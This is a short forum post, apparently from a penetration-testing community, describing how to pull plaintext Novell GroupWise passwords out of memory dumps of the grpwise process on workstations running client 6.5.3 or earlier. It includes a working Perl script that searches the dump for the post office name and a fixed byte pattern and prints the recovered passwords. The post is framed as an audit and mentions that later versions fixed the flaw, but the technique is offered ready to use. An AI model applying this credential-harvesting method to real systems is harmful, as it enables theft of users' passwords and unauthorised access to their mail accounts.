There doesn't seem to be a process to extract credentials from the Novell Groupwise server. The only workaround was for me to dump the running grpwise process on each workstation and look for the password. As they are running 6.5.3, this was rather easy, since the password is stored in memory. I posted about this earlier:
http://forums.remote-exploit.org/showthread.php?t=15588
Same process, dump the grpwise process to disk and parse the file. However, this can be sped up if you know the location of the password, which is the same for this location. I used this perl script:
Code:
#!/usr/bin/perl
my @array;
my $i =0;
my $file = $ARGV[0];
open(FILE, $file) || die $!;
@data=<FILE>;
foreach $line (@data)
{
chomp($line);
if ($line =~ /PONAME_HERE/)
{
if ($line =~ /(\006\000\000.{15})/)
{
print $i.": ".$1."\n";
$i++;
}
}
}
Replace PONAME_HERE with the name of the post office your auditing. If they are running 6.5.3 or lower clients, then the memory address should contain the plain text groupwise password. Apparently, later versions have patched for this issue.
William